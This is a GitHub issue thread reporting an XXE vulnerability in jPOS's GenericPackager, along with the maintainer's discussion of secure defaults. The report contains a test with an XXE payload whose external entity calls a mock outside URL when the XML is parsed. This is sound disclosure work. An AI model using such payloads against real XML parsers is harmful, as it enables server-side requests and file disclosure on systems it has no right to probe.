Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

XXE vulnerability in GenericPackager #462

Open
k-sever opened this issue Jan 5, 2022 · 3 comments · May be fixed by #463
Open

XXE vulnerability in GenericPackager #462

k-sever opened this issue Jan 5, 2022 · 3 comments · May be fixed by #463

Comments

@k-sever
Copy link

k-sever commented Jan 5, 2022 •
edited
Loading

GenericPackager (as well as GenericValidatingPackager) are vulnerable to XML External Entity (XEE) attack.

Here is the test example that reproduces it

@Test
    public void testXXEAttach() {
        try {
            String xeeAttackXml = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n"
                + "<!DOCTYPE foo [\n"
                + "  <!ELEMENT foo ANY >\n"
                + "  <!ENTITY xxe SYSTEM \"https://jposxee.free.beeceptor.com/hacked\" >]>\n"
                + "<foo>&xxe;</foo>";
            new GenericPackager().readFile(new ByteArrayInputStream(xeeAttackXml.getBytes()));
            fail("Expected ISOException to be thrown");
        } catch (ISOException ex) {
            assertEquals("Entity extension is disabled", ex.getMessage(), "ex.getMessage()");
        }
    }

The xxe entity is getting resolved and request goes to https://jposxee.free.beeceptor.com/hacked (it's just a mock API):
Screenshot 2022-01-05 at 22 34 45

It's not a finalized test that you can check in, but it gives you the idea.
@k-sever k-sever linked a pull request Jan 5, 2022 that will close this issue
Open
@k-sever k-sever closed this as completed Jan 10, 2022
@ar
Copy link
Member

ar commented Jan 10, 2022 •
edited
Loading

GenericPackager configuration is usually read from the classpath. Having the ability to define entities is a nice to have feature that improves code readability. Somebody with enough access to the classpath to use an XXE have easier ways to compromise the system.

Can you provide a use case where a GenericPackager configuration could be injected from a remote host?

@k-sever
Copy link
Author

k-sever commented Jan 13, 2022 •
edited
Loading

GenericPackager configuration is usually read from the classpath.

Well, you can't enforce it. IMO it should be secure by default, security > code readability. I'd rather disable external entities by default and make it possible to configure XML reader features for GenericPackager, so that anyone who actually needs it can redefine it.

@ar
Copy link
Member

ar commented Jan 13, 2022

Fair enough. I'll reopen the issue and think about a way to configure it to reenable the feature.

@ar ar reopened this Jan 13, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging a pull request may close this issue.

Fix XXE vulnerability k-sever/jPOS
2 participants
@ar @k-sever